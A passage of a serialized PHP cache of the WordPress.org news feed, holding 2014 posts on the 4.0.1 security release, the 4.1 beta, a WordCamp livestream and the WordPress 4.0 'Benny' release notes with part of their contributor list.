Release\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:51:\"https://wordpress.org/news/2014/11/wordpress-4-0-1/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"https://wordpress.org/news/2014/11/wordpress-4-0-1/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 20 Nov 2014 18:55:18 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:8:\"Security\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3363\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:345:\"WordPress 4.0.1 is now available. This is a critical security release for all previous versions and we strongly encourage you to update your sites immediately. Sites that support automatic background updates will be updated to WordPress 4.0.1 within the next few hours. If you are still on WordPress 3.9.2, 3.8.4, or 3.7.4, you will be [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Andrew Nacin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:3395:\"<p>WordPress 4.0.1 is now available. This is a <strong>critical security release</strong> for all previous versions and we strongly encourage you to update your sites immediately.</p>\n<p>Sites that support automatic background updates will be updated to WordPress 4.0.1 within the next few hours. If you are still on WordPress 3.9.2, 3.8.4, or 3.7.4, you will be updated to 3.9.3, 3.8.5, or 3.7.5 to keep everything secure. (We don’t support older versions, so please update to 4.0.1 for the latest and greatest.)</p>\n<p>WordPress versions 3.9.2 and earlier are affected by a critical cross-site scripting vulnerability, which could enable anonymous users to compromise a site. This was reported by <a href=\"http://klikki.fi/\">Jouko Pynnonen</a>. This issue does not affect version 4.0, but version 4.0.1 does address these eight security issues:</p>\n<ul>\n<li>Three cross-site scripting issues that a contributor or author could use to compromise a site. Discovered by <a href=\"http://joncave.co.uk/\">Jon Cave</a>, <a href=\"http://www.miqrogroove.com/\">Robert Chapin</a>, and <a href=\"https://johnblackbourn.com/\">John Blackbourn</a> of the WordPress security team.</li>\n<li>A cross-site request forgery that could be used to trick a user into changing their password.</li>\n<li>An issue that could lead to a denial of service when passwords are checked. Reported by <a href=\"http://www.behindthefirewalls.com/\">Javier Nieto Arevalo</a> and <a href=\"http://www.devconsole.info/\">Andres Rojas Guerrero</a>.</li>\n<li>Additional protections for server-side request forgery attacks when WordPress makes HTTP requests. Reported by Ben Bidner (vortfu).</li>\n<li>An extremely unlikely hash collision could allow a user&#8217;s account to be compromised, that also required that they haven&#8217;t logged in since 2008 (I wish I were kidding). Reported by <a href=\"http://david.dw-perspective.org.uk\">David Anderson</a>.</li>\n<li>WordPress now invalidates the links in a password reset email if the user remembers their password, logs in, and changes their email address. Reported separately by <a href=\"https://twitter.com/MomenBassel\">Momen Bassel</a>, <a href=\"http://c0dehouse.blogspot.in/\">Tanoy Bose</a>, and <a href=\"https://managewp.com/\">Bojan Slavković of ManageWP</a>.</li>\n</ul>\n<p>Version 4.0.1 also fixes 23 bugs with 4.0, and we&#8217;ve made two hardening changes, including better validation of EXIF data we are extracting from uploaded photos. Reported by <a href=\"http://www.securesolutions.no/\">Chris Andrè Dale</a>.</p>\n<p>We appreciated the <a href=\"https://codex.wordpress.org/FAQ_Security\">responsible disclosure</a> of these issues directly to our security team. For more information, see the <a href=\"https://codex.wordpress.org/Version_4.0.1\">release notes</a> or consult the <a href=\"https://core.trac.wordpress.org/log/branches/4.0?rev=30475&amp;stop_rev=29710\">list of changes</a>.</p>\n<p><a href=\"https://wordpress.org/download/\">Download WordPress 4.0.1</a> or venture over to <strong>Dashboard → Updates</strong> and simply click “Update Now”.</p>\n<p><em>Already testing WordPress 4.1? The second beta is now available (<a href=\"https://wordpress.org/wordpress-4.1-beta2.zip\">zip</a>) and it contains these security fixes. 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This software is still in development, so we don’t recommend you run it on a production site. Consider setting up a test site just to play with the new version. To test WordPress 4.1, try the WordPress Beta Tester plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"John Blackbourn\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:3409:\"<p>Welcome, everyone, to WordPress 4.1 Beta 1!</p>\n<p><strong>This software is still in development,</strong> so we don’t recommend you run it on a production site. Consider setting up a test site just to play with the new version. To test WordPress 4.1, try the <a href=\"https://wordpress.org/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you&#8217;ll want &#8220;bleeding edge nightlies&#8221;). Or you can <a href=\"//wordpress.org/wordpress-4.1-beta1.zip\">download the beta here</a> (zip).</p>\n<p>WordPress 4.1 is due for release next month, so we need your help with testing. Here are some highlights of what to test:</p>\n<ul>\n<li>Our beautiful new default theme, <a href=\"https://make.wordpress.org/core/2014/09/09/twenty-fifteen/\">Twenty Fifteen</a>. It&#8217;s a clean, mobile-first, blog-focused theme designed through simplicity.</li>\n<li>A new <a href=\"https://make.wordpress.org/core/2014/11/11/focus-v2-demo-video/\">distraction-free writing mode for the editor</a>. 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We’d love to hear from you! If you’re comfortable writing a reproducible bug report, <a href=\"https://make.wordpress.org/core/reports/\">file one on the WordPress Trac</a>. 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This is the time when Matt Mullenweg addresses the community in his annual <a href=\"http://wordpress.tv/?s=state+of+the+word\">State of the Word</a> presentation – a recap of  the year in WordPress and giving us a glimpse into its future.</p>\n<p>This year the speaker lineup is stellar. There will be talks by three of the lead WordPress developers: <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-andrew-nacin\">Andrew Nacin</a>, <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-helen-hou-sandi\">Helen Hou-Sandí</a>, and <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-mark-jaquith\">Mark Jaquith</a>. We’re also looking forward to speakers like <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-jenny-lawson\">Jenny Lawson</a>, also known as The Bloggess, and <a href=\"http://2014.sf.wordcamp.org/speaker/chris-lema/\">Chris Lema</a>. If you’re at all interested in the web, you will appreciate the appearance of <a href=\"http://2014.sf.wordcamp.org/speakers/#wcorg-speaker-jeff-veen\">Jeff Veen</a> – one of the creators of Google Analytics and co-founder of Typekit.</p>\n<p>Even though San Francisco is far far away for most of you, you can still be part of the fun and watch all presentations in real-time via livestream:</p>\n<p><a href=\"http://2014.sf.wordcamp.org/tickets/\">Get a livestream ticket and watch all talks from WordCamp San Francisco live</a></p>\n<p>If you hurry, you can get one of the special livestream tickets, including a WordCamp San Francisco 2104 t-shirt. You can find all the technical details and start times <a href=\"http://2014.sf.wordcamp.org/live-stream/\">at the WordCamp San Francisco website</a>.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://wordpress.org/news/2014/10/wcsf-livestream/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:25:\"WordPress 4.0 “Benny”\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:41:\"https://wordpress.org/news/2014/09/benny/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:50:\"https://wordpress.org/news/2014/09/benny/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 04 Sep 2014 17:05:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"Releases\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=3296\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:370:\"Version 4.0 of WordPress, named “Benny” in honor of jazz clarinetist and bandleader Benny Goodman, is available for download or update in your WordPress dashboard. While 4.0 is just another number for us after 3.9 and before 4.1, we feel we&#8217;ve put a little extra polish into it. This release brings you a smoother writing and management experience [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Matt Mullenweg\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:23434:\"<p>Version 4.0 of WordPress, named “Benny” in honor of jazz clarinetist and bandleader <a href=\"http://en.wikipedia.org/wiki/Benny_Goodman\">Benny Goodman</a>, is available <a href=\"https://wordpress.org/download/\">for download</a> or update in your WordPress dashboard. While 4.0 is just another number for us after 3.9 and before 4.1, we feel we&#8217;ve put a little extra polish into it. This release brings you a smoother writing and management experience we think you&#8217;ll enjoy.</p>\n<div id=\"v-bUdzKMro-1\" class=\"video-player\"><embed id=\"v-bUdzKMro-1-video\" src=\"https://v0.wordpress.com/player.swf?v=1.04&amp;guid=bUdzKMro&amp;isDynamicSeeking=true\" type=\"application/x-shockwave-flash\" width=\"692\" height=\"388\" title=\"Introducing WordPress 4.0 &quot;Benny&quot;\" wmode=\"direct\" seamlesstabbing=\"true\" allowfullscreen=\"true\" allowscriptaccess=\"always\" overstretch=\"true\"></embed></div>\n<hr />\n<h2 style=\"text-align: center\">Manage your media with style</h2>\n<p><img class=\"alignnone size-full wp-image-3316\" src=\"https://wordpress.org/news/files/2014/09/media.jpg\" alt=\"Media Library\" width=\"1000\" height=\"586\" />Explore your uploads in a beautiful, endless grid. A new details preview makes viewing and editing any amount of media in sequence a snap.</p>\n<hr />\n<h2 style=\"text-align: center\">Working with embeds has never been easier</h2>\n<div style=\"width: 632px; \" class=\"wp-video\"><!--[if lt IE 9]><script>document.createElement(\'video\');</script><![endif]-->\n<video class=\"wp-video-shortcode\" id=\"video-3296-1\" width=\"632\" height=\"445\" autoplay=\"1\" preload=\"metadata\" controls=\"controls\"><source type=\"video/mp4\" src=\"//s.w.org/images/core/4.0/embed.mp4?_=1\" /><source type=\"video/webm\" src=\"//s.w.org/images/core/4.0/embed.webm?_=1\" /><source type=\"video/ogg\" src=\"//s.w.org/images/core/4.0/embed.ogv?_=1\" /><a href=\"//s.w.org/images/core/4.0/embed.mp4\">//s.w.org/images/core/4.0/embed.mp4</a></video></div>\n<p>Paste in a YouTube URL on a new line, and watch it magically become an embedded video. Now try it with a tweet. Oh yeah — embedding has become a visual experience. The editor shows a true preview of your embedded content, saving you time and giving you confidence.</p>\n<p>We’ve expanded the services supported by default, too — you can embed videos from CollegeHumor, playlists from YouTube, and talks from TED. <a href=\"https://codex.wordpress.org/Embeds\">Check out all of the embeds</a> that WordPress supports.</p>\n<hr />\n<h2 style=\"text-align: center\">Focus on your content</h2>\n<div style=\"width: 632px; \" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-3296-2\" width=\"632\" height=\"356\" autoplay=\"1\" preload=\"metadata\" controls=\"controls\"><source type=\"video/mp4\" src=\"//s.w.org/images/core/4.0/focus.mp4?_=2\" /><source type=\"video/webm\" src=\"//s.w.org/images/core/4.0/focus.webm?_=2\" /><source type=\"video/ogg\" src=\"//s.w.org/images/core/4.0/focus.ogv?_=2\" /><a href=\"//s.w.org/images/core/4.0/focus.mp4\">//s.w.org/images/core/4.0/focus.mp4</a></video></div>\n<p>Writing and editing is smoother and more immersive with an editor that expands to fit your content as you write, and keeps the formatting tools available at all times.</p>\n<hr />\n<h2 style=\"text-align: center\">Finding the right plugin</h2>\n<p><img class=\"aligncenter size-large wp-image-3309\" src=\"https://wordpress.org/news/files/2014/09/add-plugin1-1024x600.png\" alt=\"Add plugins\" width=\"692\" height=\"405\" /></p>\n<p>There are more than 30,000 free and open source plugins in the WordPress plugin directory. WordPress 4.0 makes it easier to find the right one for your needs, with new metrics, improved search, and a more visual browsing experience.</p>\n<hr />\n<h2 style=\"text-align: center\">The Ensemble</h2>\n<p>This release was led by <a href=\"http://helenhousandi.com\">Helen Hou-Sandí</a>, with the help of these fine individuals. There are 275 contributors with props in this release, a new high. Pull up some Benny Goodman on your music service of choice, as a bandleader or in one of his turns as a classical clarinetist, and check out some of their profiles:</p>\n<p><a href=\"https://profiles.wordpress.org/aaroncampbell\">Aaron D. Campbell</a>, <a href=\"https://profiles.wordpress.org/jorbin\">Aaron Jorbin</a>, <a href=\"https://profiles.wordpress.org/adamsilverstein\">Adam Silverstein</a>, <a href=\"https://profiles.wordpress.org/viper007bond\">Alex Mills (Viper007Bond)</a>, <a href=\"https://profiles.wordpress.org/alexanderrohmann\">Alexander Rohmann</a>, <a href=\"https://profiles.wordpress.org/aliso\">Alison Barrett</a>, <a href=\"https://profiles.wordpress.org/collinsinternet\">Allan Collins</a>, <a href=\"https://profiles.wordpress.org/amit\">Amit Gupta</a>, <a href=\"https://profiles.wordpress.org/sabreuse\">Amy Hendrix (sabreuse)</a>, <a href=\"https://profiles.wordpress.org/afercia\">Andrea Fercia</a>, <a href=\"https://profiles.wordpress.org/andrezrv\">Andres Villarreal</a>, <a href=\"https://profiles.wordpress.org/zamfeer\">Andrew Mowe</a>, <a href=\"https://profiles.wordpress.org/sumobi\">Andrew Munro (sumobi)</a>, <a href=\"https://profiles.wordpress.org/nacin\">Andrew Nacin</a>, <a href=\"https://profiles.wordpress.org/azaozz\">Andrew Ozz</a>, <a href=\"https://profiles.wordpress.org/andy\">Andy Skelton</a>, <a href=\"https://profiles.wordpress.org/ankit-k-gupta\">Ankit K Gupta</a>, <a href=\"https://profiles.wordpress.org/atimmer\">Anton Timmermans</a>, <a href=\"https://profiles.wordpress.org/arnee\">Arne Brachhold</a>, <a href=\"https://profiles.wordpress.org/aubreypwd\">aubreypwd</a>, <a href=\"https://profiles.wordpress.org/filosofo\">Austin Matzko</a>, <a href=\"https://profiles.wordpress.org/empireoflight\">Ben Dunkle</a>, <a href=\"https://profiles.wordpress.org/kau-boy\">Bernhard Kau</a>, <a href=\"https://profiles.wordpress.org/boonebgorges\">Boone Gorges</a>, <a href=\"https://profiles.wordpress.org/bradyvercher\">Brady Vercher</a>, <a href=\"https://profiles.wordpress.org/bramd\">Bram Duvigneau</a>, <a href=\"https://profiles.wordpress.org/kraftbj\">Brandon Kraft</a>, <a href=\"https://profiles.wordpress.org/krogsgard\">Brian Krogsgard</a>, <a href=\"https://profiles.wordpress.org/brianlayman\">Brian Layman</a>, <a href=\"https://profiles.wordpress.org/rzen\">Brian Richards</a>, <a href=\"https://profiles.wordpress.org/camdensegal\">Camden Segal</a>, <a href=\"https://profiles.wordpress.org/sixhours\">Caroline Moore</a>, <a href=\"https://profiles.wordpress.org/mackensen\">Charles Fulton</a>, <a href=\"https://profiles.wordpress.org/chouby\">Chouby</a>, <a href=\"https://profiles.wordpress.org/chrico\">ChriCo</a>, <a href=\"https://profiles.wordpress.org/ehg\">Chris Blower</a>, <a href=\"https://profiles.wordpress.org/c3mdigital\">Chris Olbekson</a>, <a href=\"https://profiles.wordpress.org/chrisl27\">chrisl27</a>, <a href=\"https://profiles.wordpress.org/caxelsson\">Christian Axelsson</a>, <a href=\"https://profiles.wordpress.org/cfinke\">Christopher Finke</a>, <a href=\"https://profiles.wordpress.org/boda1982\">Christopher Spires</a>, <a href=\"https://profiles.wordpress.org/clifgriffin\">Clifton Griffin</a>, <a href=\"https://profiles.wordpress.org/jupiterwise\">Corey McKrill</a>, <a href=\"https://profiles.wordpress.org/corphi\">Corphi</a>, <a href=\"https://profiles.wordpress.org/extendwings\">Daisuke Takahashi</a>, <a href=\"https://profiles.wordpress.org/ghost1227\">Dan Griffiths</a>, <a href=\"https://profiles.wordpress.org/danielbachhuber\">Daniel Bachhuber</a>, <a href=\"https://profiles.wordpress.org/danielhuesken\">Daniel Husken</a>, <a href=\"https://profiles.wordpress.org/redsweater\">Daniel Jalkut (Red Sweater)</a>, <a href=\"https://profiles.wordpress.org/dannydehaan\">Danny de Haan</a>, <a href=\"https://profiles.wordpress.org/dkotter\">Darin Kotter</a>, <a href=\"https://profiles.wordpress.org/koop\">Daryl Koopersmith</a>, <a href=\"https://profiles.wordpress.org/dllh\">Daryl L. L. Houston (dllh)</a>, <a href=\"https://profiles.wordpress.org/davidakennedy\">David A. Kennedy</a>, <a href=\"https://profiles.wordpress.org/dlh\">David Herrera</a>, <a href=\"https://profiles.wordpress.org/dnaber-de\">David Naber</a>, <a href=\"https://profiles.wordpress.org/davidthemachine\">DavidTheMachine</a>, <a href=\"https://profiles.wordpress.org/debaat\">DeBAAT</a>, <a href=\"https://profiles.wordpress.org/dd32\">Dion Hulse</a>, <a href=\"https://profiles.wordpress.org/ocean90\">Dominik Schilling</a>, <a href=\"https://profiles.wordpress.org/donncha\">Donncha O Caoimh</a>, <a href=\"https://profiles.wordpress.org/drewapicture\">Drew Jaynes</a>, <a href=\"https://profiles.wordpress.org/dustyn\">Dustyn Doyle</a>, <a href=\"https://profiles.wordpress.org/eddiemoya\">Eddie Moya</a>, <a href=\"https://profiles.wordpress.org/oso96_2000\">Eduardo Reveles</a>, <a href=\"https://profiles.wordpress.org/edwin-at-studiojoyocom\">Edwin Siebel</a>, <a href=\"https://profiles.wordpress.org/erayalakese\">erayalakese</a>, <a href=\"https://profiles.wordpress.org/ebinnion\">Eric Binnion</a>, <a href=\"https://profiles.wordpress.org/ericmann\">Eric Mann</a>, <a href=\"https://profiles.wordpress.org/ethitter\">Erick Hitter</a>, <a href=\"https://profiles.wordpress.org/ejdanderson\">Evan Anderson</a>, <a href=\"https://profiles.wordpress.org/eherman24\">Evan Herman</a>, <a href=\"https://profiles.wordpress.org/fab1en\">Fabien Quatravaux</a>, <a href=\"https://profiles.wordpress.org/fahmiadib\">Fahmi Adib</a>, <a href=\"https://profiles.wordpress.org/feedmeastraycat\">feedmeastraycat</a>, <a href=\"https://profiles.wordpress.org/frank-klein\">Frank Klein</a>, <a href=\"https://profiles.wordpress.org/garhdez\">garhdez</a>, <a href=\"https://profiles.wordpress.org/garyc40\">Gary Cao</a>, <a href=\"https://profiles.wordpress.org/garyj\">Gary Jones</a>, <a href=\"https://profiles.wordpress.org/pento\">Gary Pendergast</a>, <a href=\"https://profiles.wordpress.org/garza\">garza</a>, <a href=\"https://profiles.wordpress.org/gauravmittal1995\">gauravmittal1995</a>, <a href=\"https://profiles.wordpress.org/gavra\">Gavrisimo</a>, <a href=\"https://profiles.wordpress.org/georgestephanis\">George Stephanis</a>, <a href=\"https://profiles.wordpress.org/grahamarmfield\">Graham Armfield</a>, <a href=\"https://profiles.wordpress.org/vancoder\">Grant Mangham</a>, <a href=\"https://profiles.wordpress.org/gcorne\">Gregory Cornelius</a>, <a href=\"https://profiles.wordpress.org/bordoni\">Gustavo Bordoni</a>, <a href=\"https://profiles.wordpress.org/harrym\">harrym</a>, <a href=\"https://profiles.wordpress.org/hebbet\">hebbet</a>, <a href=\"https://profiles.wordpress.org/hinnerk\">Hinnerk Altenburg</a>, <a href=\"https://profiles.wordpress.org/hlashbrooke\">Hugh Lashbrooke</a>, <a href=\"https://profiles.wordpress.org/iljoja\">iljoja</a>, <a href=\"https://profiles.wordpress.org/imath\">imath</a>, <a href=\"https://profiles.wordpress.org/ipstenu\">Ipstenu (Mika Epstein)</a>, <a href=\"https://profiles.wordpress.org/issuu\">issuu</a>, <a href=\"https://profiles.wordpress.org/jdgrimes\">J.D. Grimes</a>, <a href=\"https://profiles.wordpress.org/jacklenox\">Jack Lenox</a>, <a href=\"https://profiles.wordpress.org/jackreichert\">Jack Reichert</a>, <a href=\"https://profiles.wordpress.org/jacobdubail\">Jacob Dubail</a>, <a href=\"https://profiles.wordpress.org/janhenkg\">JanHenkG</a>, <a href=\"https://profiles.wordpress.org/avryl\">Janneke Van Dorpe</a>, <a href=\"https://profiles.wordpress.org/jwenerd\">Jared Wenerd</a>, <a href=\"https://profiles.wordpress.org/jaza613\">Jaza613</a>, <a href=\"https://profiles.wordpress.org/jeffstieler\">Jeff Stieler</a>, <a href=\"https://profiles.wordpress.org/jeremyfelt\">Jeremy Felt</a>, <a href=\"https://profiles.wordpress.org/jpry\">Jeremy Pry</a>, <a href=\"https://profiles.wordpress.org/slimndap\">Jeroen Schmit</a>, <a href=\"https://profiles.wordpress.org/jerrysarcastic\">Jerry Bates (jerrysarcastic)</a>, <a href=\"https://profiles.wordpress.org/jesin\">Jesin A</a>, <a href=\"https://profiles.wordpress.org/jayjdk\">Jesper Johansen (jayjdk)</a>, <a href=\"https://profiles.wordpress.org/engelen\">Jesper van Engelen</a>, <a href=\"https://profiles.wordpress.org/jesper800\">Jesper van Engelen</a>, <a href=\"https://profiles.wordpress.org/jessepollak\">Jesse Pollak</a>, <a href=\"https://profiles.wordpress.org/jgadbois\">jgadbois</a>, <a href=\"https://profiles.wordpress.org/jartes\">Joan Artes</a>, <a href=\"https://profiles.wordpress.org/joehoyle\">Joe Hoyle</a>, <a href=\"https://profiles.wordpress.org/jkudish\">Joey Kudish</a>, <a href=\"https://profiles.wordpress.org/johnbillion\">John Blackbourn</a>, <a href=\"https://profiles.wordpress.org/johnjamesjacoby\">John James Jacoby</a>, <a href=\"https://profiles.wordpress.org/johnzanussi\">John Zanussi</a>, <a href=\"https://profiles.wordpress.org/duck_\">Jon Cave</a>, <a href=\"https://profiles.wordpress.org/jonnyauk\">jonnyauk</a>, <a href=\"https://profiles.wordpress.org/joostdevalk\">Joost de Valk</a>, <a href=\"https://profiles.wordpress.org/softmodeling\">Jordi Cabot</a>, <a href=\"https://profiles.wordpress.org/jjeaton\">Josh Eaton</a>, <a href=\"https://profiles.wordpress.org/tai\">JOTAKI Taisuke</a>, <a href=\"https://profiles.wordpress.org/juliobox\">Julio Potier</a>, <a href=\"https://profiles.wordpress.org/justinsainton\">Justin Sainton</a>, <a href=\"https://profiles.wordpress.org/jtsternberg\">Justin Sternberg</a>, <a href=\"https://profiles.wordpress.org/greenshady\">Justin Tadlock</a>, <a href=\"https://profiles.wordpress.org/kadamwhite\">K.Adam White</a>, <a href=\"https://profiles.wordpress.org/trepmal\">Kailey (trepmal)</a>, <a href=\"https://profiles.wordpress.org/kapeels\">kapeels</a>, <a href=\"https://profiles.wordpress.org/ryelle\">Kelly Dwan</a>, <a href=\"https://profiles.wordpress.org/kevinlangleyjr\">Kevin Langley</a>, <a href=\"https://profiles.wordpress.org/kworthington\">Kevin Worthington</a>, <a href=\"https://profiles.wordpress.org/kpdesign\">Kim Parsell</a>, <a href=\"https://profiles.wordpress.org/kwight\">Kirk Wight</a>, <a href=\"https://profiles.wordpress.org/kitchin\">kitchin</a>, <a href=\"https://profiles.wordpress.org/ixkaito\">Kite</a>, <a href=\"https://profiles.wordpress.org/knutsp\">Knut Sparhell</a>, <a href=\"https://profiles.wordpress.org/kovshenin\">Konstantin Kovshenin</a>, <a href=\"https://profiles.wordpress.org/obenland\">Konstantin Obenland</a>, <a href=\"https://profiles.wordpress.org/kurtpayne\">Kurt Payne</a>, <a href=\"https://profiles.wordpress.org/lancewillett\">Lance Willett</a>, <a href=\"https://profiles.wordpress.org/leewillis77\">Lee Willis</a>, <a href=\"https://profiles.wordpress.org/lessbloat\">lessbloat</a>, <a href=\"https://profiles.wordpress.org/layotte\">Lew Ayotte</a>, <a href=\"https://profiles.wordpress.org/lritter\">lritter</a>, <a href=\"https://profiles.wordpress.org/lukecarbis\">Luke Carbis</a>, <a href=\"https://profiles.wordpress.org/lgedeon\">Luke Gedeon</a>, <a href=\"https://profiles.wordpress.org/m_i_n\">m_i_n</a>, <a href=\"https://profiles.wordpress.org/funkatronic\">Manny Fleurmond</a>, <a href=\"https://profiles.wordpress.org/targz-1\">Manuel Schmalstieg</a>, <a href=\"https://profiles.wordpress.org/clorith\">Marius (Clorith)</a>, <a href=\"https://profiles.wordpress.org/markjaquith\">Mark Jaquith</a>, <a href=\"https://profiles.wordpress.org/markoheijnen\">Marko Heijnen</a>, <a href=\"https://profiles.wordpress.org/mjbanks\">Matt Banks</a>, <a href=\"https://profiles.wordpress.org/sivel\">Matt Martz</a>, <a href=\"https://profiles.wordpress.org/matt\">Matt Mullenweg</a>, <a href=\"https://profiles.wordpress.org/mattwiebe\">Matt Wiebe</a>, <a href=\"https://profiles.wordpress.org/mboynes\">Matthew Boynes</a>, <a href=\"https://profiles.wordpress.org/mdbitz\">Matthew Denton</a>, <a href=\"https://profiles.wordpress.org/mattheweppelsheimer\">Matthew Eppelsheimer</a>, <a href=\"https://profiles.wordpress.org/mattheu\">Matthew Haines-Young</a>, <a href=\"https://profiles.wordpress.org/mattyrob\">mattyrob</a>, <a href=\"https://profiles.wordpress.org/matveb\">Matías Ventura</a>, <a href=\"https://profiles.wordpress.org/meekyhwang\">meekyhwang</a>, <a href=\"https://profiles.wordpress.org/melchoyce\">Mel Choyce</a>, <a href=\"https://profiles.wordpress.org/mdawaffe\">Michael Adams (mdawaffe)</a>, <a href=\"https://profiles.wordpress.org/michael-arestad\">Michael Arestad</a>, <a href=\"https://profiles.wordpress.org/michalzuber\">michalzuber</a>, <a href=\"https://profiles.wordpress.org/midxcat\">midxcat</a>, <a href=\"https://profiles.wordpress.org/mcsf\">Miguel Fonseca</a>, <a href=\"https://profiles.wordpress.org/mauteri\">Mike Auteri</a>, <a href=\"https://profiles.wordpress.org/mikehansenme\">Mike Hansen</a>, <a href=\"https://profiles.wordpress.org/mikejolley\">Mike Jolley</a>, <a href=\"https://profiles.wordpress.org/mikelittle\">Mike Little</a>, <a 